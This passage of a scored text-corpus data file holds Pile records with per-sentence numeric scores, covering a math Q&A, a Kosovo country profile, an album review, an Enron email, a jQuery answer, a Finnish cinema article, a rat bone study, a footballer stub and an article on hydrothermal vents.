0.000964215025305748,
0.0010446013184264302,
0.0006531370454467833,
0.0007410544785670936,
0.01849827915430069,
0.00066072290064767,
0.0010282736038789153,
0.0006204043165780604,
0.0015107148792594671,
0.0006423211307264864,
0.0010600100504234433,
0.12396622449159622,
0.03661378473043442,
0.0005788150592707098,
0.0012697821948677301,
0.000640193116851151,
0.0008752116118557751
] | 0.007652 | 46 |
[
"Q:\n\nIs it true that a monotic, differentiable function with non-zero derivative has a continuous inverse?",
"\n\nIs it true that a strictly monotic, differentiable function on $\\mathbb{R}$ with non-zero derivative has a continuous inverse?",
"\nThis is a small caveat in a problem I'm working on, if this is true then I'm all good.",
"\n\nA:\n\nSomething stronger is true. ",
"A strictly monotone and continuous function on $\\mathbb R $ has a continuous inverse. ",
"The function doesn't even have to have a derivative. ",
"\n\n"
] | {
"pile_set_name": "StackExchange"
} | [
0.0009570075781084597,
0.0009366111480630934,
0.0006532830302603543,
0.0007077599875628948,
0.001028994913212955,
0.0006317246588878334,
0.001995444530621171
] | 0.000987 | 7 |
[
"Introduction :: KOSOVO\n\nThe central Balkans were part of the Roman and Byzantine Empires before ethnic Serbs migrated to the territories of modern Kosovo in the 7th century. ",
"During the medieval period, Kosovo became the center of a Serbian Empire and saw the construction of many important Serb religious sites, including many architecturally significant Serbian Orthodox monasteries. ",
"The defeat of Serbian forces at the Battle of Kosovo in 1389 led to five centuries of Ottoman rule during which large numbers of Turks and Albanians moved to Kosovo. ",
"By the end of the 19th century, Albanians replaced the Serbs as the dominant ethnic group in Kosovo. ",
"Serbia reacquired control over Kosovo from the Ottoman Empire during the First Balkan War of 1912. ",
"After World War II, Kosovo became an autonomous province of Serbia in the Socialist Federal Republic of Yugoslavia (S.F.R.Y.). ",
"Despite legislative concessions, Albanian nationalism increased in the 1980s, which led to riots and calls for Kosovo's independence. ",
"The Serbs - many of whom viewed Kosovo as their cultural heartland - instituted a new constitution in 1989 revoking Kosovo's autonomous status. ",
"Kosovo's Albanian leaders responded in 1991 by organizing a referendum declaring Kosovo independent. ",
"Serbia undertook repressive measures against the Kosovar Albanians in the 1990s, provoking an Albanian insurgency.",
"\n\nBeginning in 1998, Serbia conducted a brutal counterinsurgency campaign that resulted in massacres and massive expulsions of ethnic Albanians (some 800,000 ethnic Albanians were forced from their homes in Kosovo). ",
"After international attempts to mediate the conflict failed, a three-month NATO military operation against Serbia beginning in March 1999 forced the Serbs to agree to withdraw their military and police forces from Kosovo. ",
"UN Security Council Resolution 1244 (1999) placed Kosovo under a transitional administration, the UN Interim Administration Mission in Kosovo (UNMIK), pending a determination of Kosovo's future status. ",
"A UN-led process began in late 2005 to determine Kosovo's final status. ",
"The negotiations ran in stages between 2006 and 2007, but ended without agreement between Belgrade and Pristina. ",
"On 17 February 2008, the Kosovo Assembly declared Kosovo independent. ",
"Since then, over 100 countries have recognized Kosovo, and it has joined numerous international organizations. ",
"In October 2008, Serbia sought an advisory opinion from the International Court of Justice (ICJ) on the legality under international law of Kosovo's declaration of independence. ",
"The ICJ released the advisory opinion in July 2010 affirming that Kosovo's declaration of independence did not violate general principles of international law, UN Security Council Resolution 1244, or the Constitutive Framework. ",
"The opinion was closely tailored to Kosovo's unique history and circumstances. ",
"Serbia continues to reject Kosovo's independence, but the two countries reached an agreement to normalize their relations in April 2013 through EU-facilitated talks and are currently engaged in the implementation process.",
"\n\ninfluenced by continental air masses resulting in relatively cold winters with heavy snowfall and hot, dry summers and autumns; Mediterranean and alpine influences create regional variation; maximum rainfall between October and December\n\nnote: these estimates may under-represent Serb, Roma, and some other ethnic minorities because they are based on the 2011 Kosovo national census, which excluded northern Kosovo (a largely Serb-inhabited region) and was partially boycotted by Serb and Roma communities in southern Kosovo (2011 est.)",
"\n\nnote: in municipalities where a community's mother tongue is not one of Kosovo's offical languages, the language of that community may be given official status according to the 2006 Law on the Use of Languages (2011 est.)",
"\n\njudge selection and term of office: Supreme Court judges nominated by the Kosovo Judicial Council, an independent body staffed by judges and lay members, and also responsible for overall administration of Kosovo's judicial system; judges appointed by the president of the Republic of Kosovo; judges appointed until mandatory retirement age; Constitutional Court judges nominated by the Kosovo Assembly and appointed by the president of the republic to serve single, 9-year terms\n\ncentered on a dark blue field is the geographical shape of Kosovo in a gold color surmounted by six white, five-pointed stars arrayed in a slight arc; each star represents one of the major ethnic groups of Kosovo: Albanians, Serbs, Turks, Gorani, Roma, and Bosniaks\n\nEconomy :: KOSOVO\n\nKosovo's economy has shown progress in transitioning to a market-based system and maintaining macroeconomic stability, but it is still highly dependent on the international community and the diaspora for financial and technical assistance. ",
"Kosovo's citizens are the poorest in Europe with a per capita GDP (PPP) of $8,000 in 2014. ",
"An unemployment rate of 31% encourages emigration and fuels a significant informal, unreported economy. ",
"Remittances from the diaspora - located mainly in Germany, Switzerland, and the Nordic countries - are estimated to account for about 15% of GDP. ",
"International donor assistance accounts for approximately 10% of Kosovo’s GDP. ",
"Most of Kosovo's population lives in rural towns outside of the capital, Pristina. ",
"Inefficient, near-subsistence farming is common - the result of small plots, limited mechanization, and a lack of technical expertise. ",
"Kosovo enjoys lower labor costs than the rest of the region. ",
"However, high levels of corruption and little contract enforcement have discouraged potential investors. ",
"With international assistance, Kosovo has been able to privatize a majority of its state-owned-enterprises. ",
"Minerals and metals production - including lignite, lead, zinc, nickel, chrome, aluminum, magnesium, and a wide variety of construction materials - once the backbone of industry, has declined because of ageing equipment and insufficient investment. ",
"A limited and unreliable electricity supply is a major impediment to economic development, but Kosovo has received technical assistance to help improve the sector’s performance. ",
"In 2012, Kosovo privatized its electricity supply and distribution network. ",
"The US Government is cooperating with the Ministry of Economic Development (MED) and the World Bank to conclude a commercial tender for the construction of a new power plant. ",
"MED also has plans for the rehabilitation of an older coal power plant, and the development of a coal mine that could supply both plants. ",
"In June 2009, Kosovo joined the World Bank and International Monetary Fund, and began servicing its share of the former Yugoslavia's debt. ",
"In order to help integrate Kosovo into regional economic structures, UNMIK signed (on behalf of Kosovo) its accession to the Central Europe Free Trade Area (CEFTA) in 2006. ",
"Serbia and Bosnia previously had refused to recognize Kosovo's customs stamp or extend reduced tariff privileges for Kosovo products under CEFTA, but both countries resumed trade with Kosovo in 2011. ",
"Kosovo joined the European Bank for Reconstruction and Development in 2012 and the Council of Europe Development Bank in 2013. ",
"In 2014, Kosovo concluded the Stabilization and Association Agreement negotiations (SAA) with the EU, focused on trade liberalization. ",
"The SAA is expected to be signed by end of 2015. ",
"The official currency of Kosovo is the euro, but the Serbian dinar is also used illegally in Serb majority communities. ",
"Kosovo's tie to the euro has helped keep core inflation low. ",
"Kosovo experienced its first federal budget deficit in 2012, when government expenditures climbed sharply. ",
"In May 2014, the government introduced a 25% salary increase for public sector employees and an equal increase in certain social benefits. ",
"Central revenues could not sustain these increases, and the Government was forced to reduce its planned capital investments. ",
"The government recently made changes to its fiscal policy that extended the list of duty-free imports, decreased the Value Added Tax (VAT) for basic food items and public utilities, and increased the VAT for all other goods.",
"\n\nMilitary :: KOSOVO\n\nKosovo does not have a military force; the Kosovo Security Force was established in 2009 and maintains a non-military mandate in four core competencies: search-and-rescue, firefighting, demining, and hazardous material response (2015)\n\nTransnational Issues :: KOSOVO\n\nSerbia with several other states protest the US and other states' recognition of Kosovo's declaration of its status as a sovereign and independent state in February 2008; ethnic Serbian municipalities along Kosovo's northern border challenge final status of Kosovo-Serbia boundary; several thousand NATO-led Kosovo Force peacekeepers under United Nations Interim Administration Mission in Kosovo authority continue to keep the peace within Kosovo between the ethnic Albanian majority and the Serb minority in Kosovo; Kosovo and Macedonia completed demarcation of their boundary in September 2008\n\nIDPs: 17,100 (primarily ethnic Serbs displaced during the 1998-1999 war fearing reprisals from the majority ethnic-Albanian population; a smaller number of ethnic Serbs, Roma, Ashkali, and Egyptians fled their homes in 2004 as a result of violence) (2015)"
] | {
"pile_set_name": "Pile-CC"
} | [
0.0006659284699708223,
0.0007468299590982497,
0.00405736593529582,
0.001553285401314497,
0.0006736279465258121,
0.0007776008569635451,
0.0006535258726216853,
0.0008538771653547883,
0.0005887440638616681,
0.000885288929566741,
0.01230521872639656,
0.0010080477222800255,
0.0005526235327124596,
0.0005693191196769476,
0.0005461543914861977,
0.000611200463026762,
0.0005565594765357673,
0.0005288714310154319,
0.0005553968367166817,
0.0005242819315753877,
0.0005927212769165635,
0.000607433554250747,
0.0005393507890403271,
0.0005394950858317316,
0.14824675023555756,
0.0006128145032562315,
0.0005918905953876674,
0.0006273692124523222,
0.0008590089855715632,
0.0010085285175591707,
0.0009035415132530034,
0.0007495835307054222,
0.0006519060698337853,
0.0006660830695182085,
0.0006750417524017394,
0.0006322300177998841,
0.0005471641779877245,
0.0006237621419131756,
0.0006575508741661906,
0.0005273112328723073,
0.0005360438954085112,
0.0005902148550376296,
0.0005314111476764083,
0.0005780994542874396,
0.0007301007281057537,
0.0006331945187412202,
0.0005692770355381072,
0.0006075629498809576,
0.0007731996010988951,
0.0007133067701943219,
0.0006751311593689024
] | 0.003863 | 51 |
[
"Bad Blood (LP)\n\nBastille\n\nAmoeba Review\n\n09/02/2013\n\nSomewhere between Coldplay and Mumford & Sons lies the debut release by Bastille, who produce smart yet widely appealing Britpop that could reside as easily on rock radio as it would rubbing shoulders with Rihanna and Frank Ocean. ",
"They unveil a key Afropop influence early on, on opener “Pompeii,” whose chants underpin Coldplay-style grand sentiments. ",
"Bad Blood is thankfully upbeat, but even the ballads, like the pretty “Things We Lost in the Fire,” have an epic nature that steal your interest. ",
"They still have a ways to go before reaching U2 levels of poignancy—“These Streets” is no “Where the Streets Have No Name”—but Bad Blood is certainly a fun debut—just try not dancing along to “Weight of Living Pt. ",
"II.” (",
"Where’s part I and why isn’t it here??) ",
"A pair of early singles reappear here, too, buried in the album—the skittering “Icarus” and stately “Oblivion,” nicely displaying both sides of the Bastille coin, from jumpy radio pop as informed by the likes of The xx to epic ballads that jerk the tears from your inner teen. ",
"No “bad blood” here—just a great pop record."
] | {
"pile_set_name": "Pile-CC"
} | [
0.0012426037574186921,
0.0008050588076002896,
0.008683161810040474,
0.01119275577366352,
0.0007564368424937129,
0.0009859960991889238,
0.04950626194477081,
0.057597506791353226
] | 0.016346 | 8 |
[
"Broker is correct. ",
"Chris entered the wrong price. ",
"I'll change it to 370 when \nRisk is done calcing.",
"\n\nKate\n\n\n\n\nKerri Thompson@ENRON\n12/21/2000 01:35 PM\nTo: Kate Symes/PDX/ECT@ECT\ncc: \n\nSubject: apb\n\n483948\n\nbroker has 370.00"
] | {
"pile_set_name": "Enron Emails"
} | [
0.0006062530446797609,
0.0009873886592686176,
0.0025383448228240013,
0.0007408359088003635
] | 0.001218 | 4 |
[
"British luxury car maker Bentley has announced the opening of a dealership in Ukraine’s capital Kiev, calling it an important step towards strengthening its presence in Central Eastern Europe.",
"\n\nThe showroom area covers 1760 m² and is located close to Kiev airport, offering customer sales and aftersales facilities. ",
"This includes the complete Bentley model range, consisting of the Bentayga, Flying Spur, Mulsanne and the all-new Continental GT range.",
"\n\n“This is true entrepreneurship in challenging times… We look forward to success in the high luxury car market in Ukraine with a superior model range and highly engaged people,” said Robert Engstler, Bentley’s Regional Director for Europe.",
"\n\nCEO and Owner of Winner Group Ukraine, which operates Bentley’s Kiev showroom, John Hynansky added: “It is truly an honor and a privilege to represent such an esteemed brand as Bentley in Ukraine…The opening of this state-of-the-art Bentley retailer demonstrates our commitment to a long-term presence in Ukraine and an equally long-term relationship with Bentley Motors.”",
"\n\nAlso on rt.com World Bank ranks Ukraine as one of the poorest nations in Europe & beyond\n\nWhile the British manufacturer has chosen Ukraine as its “biggest exclusive dealership in Europe,” the World Bank has rated the country as one of the poorest in Europe and Central Asia.",
"\n\nEconomic growth in Ukraine has turned to a recovery pace since the crisis the nation passed through in 2014-2015, the bank said in a report. ",
"However, rates of growth reportedly remain low, with wages failing to reach income standards of neighboring states.",
"\n\nAccording to the country’s key creditor, it would take Ukraine more than 50 years to reach the income levels of today’s Poland.",
"\n\nAlso on rt.com Century behind Europe: World Bank says Ukraine needs up to 100 yrs to reach German growth\n\nUkrainians rank among the world’s poorest people, with the net wealth of citizens lagging behind Bangladesh and Cameroon.",
"\n\nStatistics show an average Ukrainian earns less than $300-a-month, with more than half that income (50.9 percent) spent on food. ",
"Few can afford to visit restaurants and hotels, where only 2.8 percent of an average budget is spent.",
"\n\nMore than a million people in Ukraine are facing acute food insecurity, according to a report produced for the UN Security Council by representatives of the Food and Agriculture Organization (FAO) and the World Food Programme (WFP).",
"\n\nFor more stories on economy & finance visit RT's business section"
] | {
"pile_set_name": "OpenWebText2"
} | [
0.0005425530252978206,
0.0005717981257475913,
0.0006511497194878757,
0.0005320674972608685,
0.0005425657145678997,
0.036998216062784195,
0.000544547161553055,
0.0006434994866140187,
0.0006436117109842598,
0.017024550586938858,
0.0008209371007978916,
0.0006688190042041242,
0.0007136453059501946,
0.0006069939699955285
] | 0.004393 | 14 |
[
"Q:\n\nclone and add html fragment, then set select/option value\n\nOn a click event, I want to add a fragment of html code which includes a select/option box, to a page. ",
"First I get the appropriate location to put it, then take fragment of code in a javascript string, turn it into a jquery object. ",
"Next I want to select the appropriate value in the select/option box. ",
"In this example, I am having trouble targeting the correct select/option box.",
"\ntplReasons = \"<td>Reason</td>\\n\\\n <td class='none'>\\n\\\n <div data-role='fieldcontain' class='select'>\\n\\\n <select class='myClass' name='select-choice-1' id='select-choice-1'>\\n\\\n <option value='01'>option 1</option>\\n\\\n <option value='02'>option 2</option>\\n\\\n <option value='03'>option 3</option>\\n\\\n </select>\\n\\\n </div>\\n\\\n </td>\\n\";\n\n$('.my_class').live('change', function (){ \n var MyLocation = $('some_div');\n var MytplReasons = $(tplReasons); \n if(someCondition == 2){\n $('MytplReasons .myClass option').get(2).attr('selected', 'selected');\n }\n // (add jquery mobile formatting)\n MytplReasons.appendTo(MyLocation).trigger('create'); \n}); \n\n</script>\n\nA:\n\nAssuming I've understood what you're trying to do, there are several issues with your code. ",
"What I think you're trying to do is set the selected option in the HTML fragment (presumably you're then going to append that HTML fragment to the DOM).",
"\nThis is the line that causes the problems:\n$('MytplReasons .myClass option').get(6).attr('selected', 'selected');\n\nFirstly, the selector starts with MytplReasons, so jQuery is going to look for an element of type MytplReasons, and that doesn't exist. ",
"What you wanted to do was to find elements matching .myClass option, in the HTML fragment contained in MytplReasons. ",
"To do that you can use MytplReasons as the context:\n$('.myClass option', MytplReasons)\n\nSecondly, get returns the underlying DOM element, not a jQuery object. ",
"DOM elements don't have an attr method. ",
"You need to use eq instead:\n$('.myClass option', MytplReasons).eq(6).attr('selected', 'selected');\n\nA further problem (perhaps just because you have shortened the code in the question) is that there isn't a matching element at index 6 (there are only 3 option elements in your fragment).",
"\nA couple of other issues:\n\nYou are missing a semi-colon after the declaration of MyLocation\nMyLocation is already a jQuery object. ",
"You don't need to pass it into jQuery again to use the html method\n\nHere's a working example of your code (modified slightly, so the HTML fragment is appended to a table, so you can actually see the result).",
"\n\n"
] | {
"pile_set_name": "StackExchange"
} | [
0.0006433856906369328,
0.0007528862915933132,
0.0005458707455545664,
0.0005725973169319332,
0.003098842455074191,
0.0005745035596191883,
0.0016936910105869174,
0.0009221112122759223,
0.0008942218264564872,
0.0009006615728139877,
0.0006426904001273215,
0.0017913124756887555,
0.0005998699925839901,
0.001995444530621171
] | 0.001116 | 14 |
[
"Finnkinon teattereissa ei alkoholitarjontaa ole, vaikka nekin olisivat halukkaita tarjoilua kokeilemaan. ",
"Kuva: Pekka Peura\n\nLa La Land -elokuva on juuri alkamassa. ",
"Viimeiset kiirehtivät vielä tilauksiaan salin perällä olevalla tiskillä: ”24 senttiä valkkaria, lonkero, oliivit ja mozzarella, kiitos.”",
"\n\n\n\nHelsinkiläinen elokuvateatteri Riviera teki Suomessa utopialta tuntuvan asian mahdolliseksi. ",
"Se toi ruuan ja alkoholitarjoilut elokuvasaliin.",
"\n\n\n\n– Suomessa on vahva uskomus, että elokuvateatteria ja anniskelua ei voi yhdistää. ",
"Otin yhteyttä ravintola-alan ihmisiin ja kysyin, onko todella näin, kertoo Rivieran toinen omistaja Atte Laurila.",
"\n\n\n\nRajoituksia toki on. ",
"Anniskeluravintolassa lattia ei saa olla kalteva, penkit eivät saa olla kiinteästi lattiassa kiinni eivätkä penkkirivit eri tasoilla. ",
"Eli tila ei saa olla katsomo.",
"\n\n\n\nTästä syystä Finnkinon teattereissa ei alkoholitarjontaa ole, vaikka nekin olisivat halukkaita tarjoilua kokeilemaan.",
"\n\n\n\n– On tiettyjä näytöksiä, joihin se sopisi erittäin hyvin. ",
"Esimerkiksi viinilasillinen oopperanäytökseen. ",
"Toistaiseksi se ei ole mahdollista, Finnkinon toimitusjohtaja Veronica Lindholm sanoo.",
"\n\n\n\nFinnkino lisää ruokaa\n\n\n\nVaikka alkoholi on Suomessa aina kuuma puheenaihe, sen enempää Finnkinon väki kuin Rivieran Laurilakaan eivät pidä alkoholia lopulta kovin tärkeänä. ",
"Se on vain yksi asia, missä erilaisia asiakkaita voi palvella paremmin.",
"\n\n\n\nFinnkino kuuluu Nordic Cinema Groupiin, jonka Baltian teattereissa olut on yksi vaihtoehto juomaksi siinä missä limsat. ",
"Myös yhtiön teatterissa Tukholmassa Mall of Scandinaviassa osaan elokuvasaleista saa viedä niin ruokaa kuin alkoholijuomia.",
"\n\n\n\nRuoka onkin toinen tuote, jonka perään Finnkinolta jatkuvasti kysytään. ",
"Yhtiö vastaa huutoon kokeilemalla poppareiden ja karkkien lisäksi myös vähän ruokaisampia herkkuja. ",
"Luvassa on ainakin lämpimiä nachoannoksia erilaisilla lisukkeilla.",
"\n\n\n\nÄäni kolmiulotteisesti\n\n\n\nFinnkino hakee erikoiselämykset tällä hetkellä etenkin tekniikasta: viime kesänä Helsingin Tennispalatsiin avattu Scape-sali on monella mittarilla Suomen paras elokuvasali. ",
"Dolby Atmos -ääni tulee 72 kaiuttimen kautta. ",
"Kaiuttimia on myös katossa.",
"\n\n\n\nJokainen kaiutin on oma kanavansa, joten elokuvan yksittäiset äänet voidaan kohdentaa katsomotilassa kolmiulotteisesti. ",
"Esimerkiksi hyönteinen saadaan pörräämään katsojan korvan viereen samaan aikaan, kun joku kuiskaa elokuvassa takaviistosta toiseen korvaan.",
"\n\n\n\nSuomen suurin valkokangas\n\n\n\nScape-salin laser-projektorin ansiosta kuvan laatu on noin kahdeksan kertaa tarkempi kuin tavallisessa salissa.",
"\n\n\n\n– Suurin ero on 3D-kuvassa, joka on erittäin valoisa. ",
"Ja tietysti salin design: leveät penkit, valot ja Suomen suurin valkokangas, Finnkinon Lindholm luettelee.",
"\n\n\n\nValkokangas on 184 neliömetrin eli ison omakotitalon kokoinen.",
"\n\n\n\nSuomen toinen Scape-sali avautuu Espoon Isoon Omenaan huhtikuussa. ",
"Scape-salien avaamista myös muualle kuin pääkaupunkiseudulle on pohdittu, mutta lopullisia päätöksiä ei ole vielä tehty.",
"\n\n\n\nScape-salissa elokuvasta pääsee nauttimaan kolmen euron lisähinnalla.",
"\n\n\n\nRajattomasti herkkuja\n\n\n\nFinnkinon Suomen toistaiseksi ainoa vip-sali on sekin pääkaupunkiseudulla, Espoon Sellossa. ",
"Salissa on jalkatuelliset nojatuolit ja viikonloppunäytöksissä rajaton määrä popcorneja ja limsaa. ",
"Vip-kohtelusta saa maksaa kahdeksan euroa tavallisen lipun hinnan päälle.",
"\n\n\n\nMuita elokuva-alan uutuuksia, kuten 4D:tä ja VR Cinemaa eli virtuaalitodellisuutta hyödyntävää elokuvaa, saamme vielä odottaa.",
"\n\n\n\n– Pääsimme itse asiassa viime keväänä Las Vegasissa alan messuilla kokeilemaan VR:ää. ",
"Maailmassa on vasta muutamia yksittäisiä saleja, ja niihin tehdyt elokuvat ovat vielä lyhyitä, 10–20 minuutin mittaisia, Lindholm kertoo.",
"\n\n\n\nKauhua virtuaalilaseilla\n\n\n\nLähin VR Cinema löytyy Amsterdamista. ",
"Sali on käytännössä yksi huone täynnä pyöriviä nojatuoleja. ",
"Ihmiset istuvat tuoleihin lasit päässä ja katselevat valitsemaansa ohjelmaa. ",
"Tarjolla on muun muassa balettia, kauhua, dokumentteja ja lastenohjelmaa.",
"\n\n\n\n– Onhan se vaikuttava, mutta myös hyvin fyysinen kokemus. ",
"Kokopitkä elokuva virtuaalilasit päässä voisi olla aika rankka, sanoo Finnkinon markkinointi- ja myyntijohtaja Kalle Peltola, mutta myöntää VR:n avaavan kiinnostavia mahdollisuuksia.",
"\n\n\n\nEsimerkiksi kauhuelokuva muuttuu hurjalla tavalla, jos katsoja joutuu itse tapahtumien keskelle.",
"\n\n\n\n4D:n suhteen on vähän samoja ongelmia kuin virtuaalitodellisuuden kanssa.",
"\n\n\n\n– Varmasti tuuli ja tuoksut voisivat tuoda jotain lisää, mutta jaksaisiko efektiä koko elokuvan ajan, Peltola kysyy.",
"\n\n\n\n4D-saleja on ollut jo useita vuosia, eivätkä ne ole silti lyöneet isosti läpi. ",
"Ne ovat jääneet huvipuistojen jutuksi.",
"\n\n\n\nMiten Riviera sai luvat?",
"\n\n\n\nPalataanpa vielä kaksi kuukautta sitten avattuun Helsingin Rivieraan. ",
"Miten Riviera onnistui saamaan himoitut anniskeluoikeudet? ",
"Millainen se oikein on?",
"\n\n\n\nPaikka on toiminut jo 40 vuotta sitten elokuvateatterina, mutta viimeksi se on ollut venäläinen musiikkiteatteri Bolero, jolla jo oli anniskeluoikeudet.",
"\n\n\n\nElokuvasalissa on jyhkeät – mutta ei kiinteät – sohvat ja nojatuolit. ",
"Lattiassa on vain muutama porrastus, ja salin perällä on baaritiski, josta myynnin lisäksi hoituu valvonta. ",
"Näin lain kirjain täyttyy.",
"\n\n\n\nJuomia ja ruokia voi käydä tilaamassa koko elokuvan ajan, sillä vaikka valot on sammutettu, vaaleat seinät heijastavat sen verran valoa, että salissa voi liikkua. ",
"Penkkien välit on jätetty väljiksi, jotta tiskillä ja vessassa voi piipahtaa muita häiritsemättä.",
"\n\n\n\nMuuten elokuvissa istutaan niin kuin muuallakin: hiljaa ja keskittyneesti.",
"\n\n\n\nMyös muualle Suomeen\n\n\n\nElokuva-alalla jo aiemmin työskennellyt Atte Laurila kertoo testaavansa myös sitä, voiko yhden salin teatteri kannattaa. ",
"Hän vertaa Rivieraa keikkapaikkoihin, joissa on yksi tai kaksi konserttia illassa. ",
"Rivierassa keikan tilalla on elokuva.",
"\n\n\n\n– Toistaiseksi näyttää kannattavan, Laurila sanoo.",
"\n\n\n\nMelkein kaikki näytökset ovat olleet loppuunmyytyjä, ja lähes poikkeuksetta ihmiset ostavat myös juomia ja ruokia.",
"\n\n\n\nRivieran suunnitelmissa on laajentaa myös muualle Suomeen, mutta paikallisten kumppaneiden kanssa yhteistyössä. ",
"Laurila toivookin yhteydenottoja.",
"\n\n\n\nMullistuksia luvassa\n\n\n\nLaurila ennustaa elokuvateattereihin vielä suuria muutoksia. ",
"Hänen mukaansa ala tulee muuttumaan seuraavan kymmenen vuoden sisällä rajusti. ",
"Syiksi hän laskee etenkin tekniikan kehityksen ja halventumisen sekä uudet sisällöt.",
"\n\n\n\n– Elokuvia ja muuta liikkuvaa kuvaa on tarjolla enemmän kuin koskaan, ja ne ovat kaikkien teatterien saatavilla. ",
"Vielä viisi vuotta sitten liikuteltiin filmikeloja paikasta toiseen.",
"\n\n\n\nLaurila muistuttaa, että Netflix mullisti tullessaan koko tallennebisneksen.",
"\n\n\n\n– Se, mitä elokuva-alalla tulee tapahtumaan, on varmasti jotain, mitä emme osaa vielä ajatellakaan."
] | {
"pile_set_name": "OpenWebText2"
} | [
0.09329324215650558,
0.0018529754597693682,
0.002556957770138979,
0.004772723186761141,
0.09959933161735535,
0.05503135547041893,
0.006151965819299221,
0.006089002825319767,
0.12707068026065826,
0.03127135708928108,
0.04739752039313316,
0.03900653496384621,
0.010499310679733753,
0.0050894515588879585,
0.3193061053752899,
0.17352621257305145,
0.04031018912792206,
0.01538483239710331,
0.020594479516148567,
0.325994074344635,
0.009272809140384197,
0.03649931773543358,
0.0015725101111456752,
0.0015365398721769452,
0.10866374522447586,
0.027754979208111763,
0.04461359977722168,
0.0008340870263054967,
0.0016803552862256765,
0.004560207482427359,
0.27985161542892456,
0.4740830659866333,
0.05775070562958717,
0.09959637373685837,
0.08472055196762085,
0.011576888151466846,
0.014381369575858116,
0.005668714642524719,
0.016269072890281677,
0.0028750873170793056,
0.07572498917579651,
0.159540593624115,
0.04606781527400017,
0.07695912569761276,
0.1303427666425705,
0.08895249664783478,
0.0351593941450119,
0.2814011871814728,
0.017172185704112053,
0.11261339485645294,
0.002648319583386183,
0.10704287886619568,
0.1068074032664299,
0.005945469252765179,
0.18961243331432343,
0.1194782480597496,
0.013905503787100315,
0.004468229133635759,
0.23859134316444397,
0.22114594280719757,
0.03197784721851349,
0.02856811322271824,
0.1411983072757721,
0.0008304117363877594,
0.010272799991071224,
0.36571723222732544,
0.08340609818696976,
0.0037481137551367283,
0.10977782309055328,
0.23341330885887146,
0.219289630651474,
0.11916028708219528,
0.05907571688294411,
0.007705644704401493,
0.014015535824000835
] | 0.082271 | 75 |
[
"Evaluation of bone regeneration in a critical size cortical bone defect in rat mandible using microCT and histological analysis.",
"\nEvaluate bone regeneration in a critical size bone defect model in the jaw of healthy rats as a function of gender and defect location. ",
"A series of microCT and histological studies were performed to evaluate the process of bone regeneration in rats with a mandibular critical size defect. ",
"Rats were placed in two groups according to gender and sorted in terms of bone defect location. ",
"Bone regeneration rate and hydroxyapatite concentration were assessed with microCT imaging at specific times after surgery. ",
"Histological analysis was also performed to evaluate bone regeneration. ",
"No more that 85% of bone regeneration was observed after 60 days, with a low rate constant (K) indicating a slow restoration of the defect. ",
"Assessment of microCT images showed partial closure of the defect in all cases, which was confirmed by histological analysis. ",
"Hydroxyapatite concentration values revealed that regenerated bone was not fully calcified. ",
"No statistically significant differences in terms of gender or defect location were found. ",
"The defect model studied here, located in the jaw of healthy rats, shows potential as a preclinical critical size bone defect model to evaluate bone regeneration therapies in the fields of dentistry and maxillofacial surgery."
] | {
"pile_set_name": "PubMed Abstracts"
} | [
0.0011632645037025213,
0.000666162755805999,
0.0006446863408200443,
0.0009200124768540263,
0.0006315254140645266,
0.0005670729442499578,
0.0006719902739860117,
0.0005484269931912422,
0.0009770166361704469,
0.000685191887896508,
0.0006691167363896966
] | 0.00074 | 11 |
[
"Jariel Gabriel\n\nJariel Pierre Gabriel (born 10 April 2001) is a St. Maartener footballer who plays for Reggae Lions in the Sint Maarten Senior League and the Sint Maarten national team.",
"\n\nInternational \nOn 10 September 2018, Gabriel made his senior team debut for the Sint Maarten national team, in a 0–13 loss to Haiti in a 2019–20 CONCACAF Nations League qualifying match. ",
"Gabriel came on in the 73rd minute to replace Jean Philip Sylveste.",
"\n\nReferences\n\nExternal links \n \n\nCategory:2001 births\nCategory:Living people\nCategory:Dutch Antillean footballers\nCategory:Sint Maarten international footballers\nCategory:Association football goalkeepers"
] | {
"pile_set_name": "Wikipedia (en)"
} | [
0.0014620653819292784,
0.0007320849690586329,
0.0008183935424312949,
0.0007760818116366863
] | 0.000947 | 4 |
[
"Hot spots like this on an underwater mountain range could be where life on Earth began.",
"\n\nNOAA\n\nCould life have evolved on the longest mountain range on Earth, that is so far under the water it's invisible to most of us?",
"\n\nMany scientists believe life on Earth evolved in what's dubbed a 'primordial soup'. ",
"After the molten Earth cooled down, there were warm ponds of water, scattered across the rocky surface.",
"\n\nAnd somehow an external source of energy (perhaps lightning or ultraviolet light) triggered a series of chemical reactions in these ponds that led to life.",
"\n\nBut this energy source would be intermittent, not continuous. ",
"You would have to wait for a lightning strike, or a break in the clouds so that ultraviolet could shine through.",
"\n\nA new (and still controversial) hypothesis is that life began on the sea floor, driven by the more reliable energy supply of molten magma just under the Earth's crust. ",
"Meet the ocean ridge — the longest mountain range on Earth.",
"\n\nIt stretches roughly 80,000 kilometres, winding through every ocean basin on the planet in a shape similar to the seam on a tennis ball.",
"\n\nIts mountain peaks rise from depths of about five kilometres up to a fairly uniform 2.6 kilometres beneath the surface. ",
"So you'll most likely never see it.",
"\n\nBut despite being a mostly cold, dark wasteland, there are a few hundred locations along the top of the ccean ridge that squirt out hot water. ",
"And these hot spots could be where life on Earth began.",
"\n\nWarm, hot, hotter\n\nIn 1977, scientists discovered shimmering warm springs on the Galapagos seafloor. ",
"The water was about 20 degrees hotter its surroundings. ",
"And to their surprise, they found a strange biological ecosystem around the warm springs.",
"\n\nTwo years later scientists in high-tech research submarines discovered the first seriously hot hydrothermal (hot water) vents on the peaks of the ocean ridge.",
"\n\nThe water spurting out here measured an astonishing 380 degrees Celsius.",
"\n\nThe only thing that stopped it from boiling was a few kilometres of water pressing down on it.",
"\n\nLike all hydrothermal vents, the water is heated by magma — the molten rock that continues to form the mountain range as it pushes upwards through the sea floor and spreads to the sides.",
"\n\nSince then, we have discovered water squirting out of hydrothermal vents deep in the ocean at temperatures up to 464 degrees Celsius!",
"\n\nBut more importantly, the expeditions to these hydrothermal vents also discovered previously unknown biological communities.",
"\n\nThese bizarre and very dense ecosystems live entirely off the energy in the hot water.",
"\n\nThey are the only known lifeforms on Earth that don't get their energy from the Sun.",
"\n\nA single ecosystem can be up to a few hundred metres across. ",
"The distance between one hydrothermal vent ecosystem and the next can be tens, or hundreds, of kilometres. ",
"In between the vents, the ocean floor is in perpetual darkness, with very little life other than bacteria.",
"\n\nBacteria and other single-celled organisms called archaea are the basis of the ecosystem, that surrounds the life-giving hot water vents. (",
"Archaea are similar to bacteria, but run on different chemistry).",
"\n\nlink to podcast\n\nBoth the bacteria and the archaea get their energy from strange chemical reactions involving sulphur, instead of oxygen.",
"\n\nThese single-celled organisms coagulate into thick mats. ",
